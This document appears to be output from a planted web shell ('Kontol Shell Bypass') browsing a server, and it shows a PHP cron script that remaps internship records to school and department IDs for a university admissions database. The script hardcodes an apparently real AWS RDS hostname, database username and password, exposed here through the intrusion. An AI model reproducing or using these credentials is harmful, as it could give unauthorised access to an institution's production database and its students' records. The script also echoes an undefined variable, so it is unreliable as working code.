ikan Uploader :
Directory : /var/www/html/chalkbank.com/cronjobs/internshipCron/
Upload File : |
| Current File : /var/www/html/chalkbank.com/cronjobs/internshipCron/updateInternsipRecords.php |
<?php
error_reporting(E_ALL);
define('DB_SERVER', "admissions.cluster-custom-c8m5zlhotfbm.ap-south-1.rds.amazonaws.com");
define('DB_USERNAME', "shardezone_user");
define('DB_PASSWORD', "7se%;pr*/A24AyTw");
define('DB_DATABASE', "shardaac_ezone_2022_db");
define('COMPANY', "ShardaTech pvt ltd.");
//exit('Sorry Try Again!!!!!');
//return true;
/* Connect to MySQL and select the database. */
$conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
if (!$conn) {
mysqli_connect_error();
}
mysqli_set_charset($conn, "utf8");
$sql1 = "update tbl_internships set school_id = '1', department_id = '84' where department = 'Computer Science & Applications'";
$result = mysqli_query($conn, $sql1);
$sql2 = "update tbl_internships set school_id = '3', department_id = '31' where department = 'Art and Design'";
$result = mysqli_query($conn, $sql2);
$sql3 = "update tbl_internships set school_id = '1', department_id = '83' where department = 'Electrical Electronics and Communication Engineering'";
$result = mysqli_query($conn, $sql3);
$sql4 = "update tbl_internships set school_id = '1', department_id = '15' where department = 'Computer Science and Engineering'";
$result = mysqli_query($conn, $sql4);
$sql5 = "update tbl_internships set school_id = '10', department_id = '5' where department = 'Chemistry and Biochemistry'";
$result = mysqli_query($conn, $sql5);
$sql6 = "update tbl_internships set school_id = '6', department_id = '19' where department = 'Humanities and Social Sciences'";
$result = mysqli_query($conn, $sql6);
$sql7 = "update tbl_internships set school_id = '1', department_id = '14' where department = 'Civil Engineering'";
$result = mysqli_query($conn, $sql7);
$sql8 = "update tbl_internships set school_id = '12', department_id = '24' where department = 'Pharmacy'";
$result = mysqli_query($conn, $sql8);
$sql9 = "update tbl_internships set school_id = '4', department_id = '10' where department = 'Mass Communication'";
$result = mysqli_query($conn, $sql9);
$sql10 = "update tbl_internships set school_id = '10', department_id = '6' where department = 'Physics'";
$result = mysqli_query($conn, $sql10);
$sql11 = "update tbl_internships set school_id = '1', department_id = '17' where department = 'Mechanical Engineering'";
$result = mysqli_query($conn, $sql11);
$sql12 = "update tbl_internships set school_id = '14', department_id = '58' where department = 'Agricultural Sciences'";
$result = mysqli_query($conn, $sql12);
$sql13 = "update tbl_internships set school_id = '8', department_id = '1' where department = 'Allied Health Sciences'";
$result = mysqli_query($conn, $sql13);
$sql14 = "update tbl_internships set school_id = '3', department_id = '2' where department = 'Architecture'";
$result = mysqli_query($conn, $sql14);
$sql15 = "update tbl_internships set school_id = '14', department_id = '58' where department = 'MSC. AGRICULTURE'";
$result = mysqli_query($conn, $sql15);
$sql16 = "update tbl_internships set school_id = '13', department_id = '22' where department = 'Education'";
$result = mysqli_query($conn, $sql16);
$sql17 = "update tbl_internships set school_id = '10', department_id = '4' where department = 'Mathematics'";
$result = mysqli_query($conn, $sql17);
$sql18 = "update tbl_internships set school_id = '2', department_id = '3' where department = 'Management'";
$result = mysqli_query($conn, $sql18);
$sql19 = "update tbl_internships set school_id = '1', department_id = '13' where department = 'Biotechnology'";
$result = mysqli_query($conn, $sql19);
$sql20 = "update tbl_internships set school_id = '10', department_id = '7' where department = 'Life Sciences'";
$result = mysqli_query($conn, $sql20);
$sql21 = "update tbl_internships set school_id = '5', department_id = '23' where department = 'Law'";
$result = mysqli_query($conn, $sql21);
$sql22 = "update tbl_internships set school_id = '10', department_id = '9' where department = 'Environmental Sciences'";
$result = mysqli_query($conn, $sql22);
$sql23 = "update tbl_internships set school_id = '7', department_id = '12' where department = 'Dental Sciences'";
$result = mysqli_query($conn, $sql23);
$sql24 = "update tbl_internships set school_id = '11', department_id = '21' where department = 'Nursing Sciences'";
$result = mysqli_query($conn, $sql24);
$sql25 = "update tbl_internships set school_id = '9', department_id = '48' where department = 'Medical Sciences'";
$result = mysqli_query($conn, $sql25);
echo 'Total Update=>' . $update . '<br/>';
echo '<br>';
exit();
Kontol Shell Bypass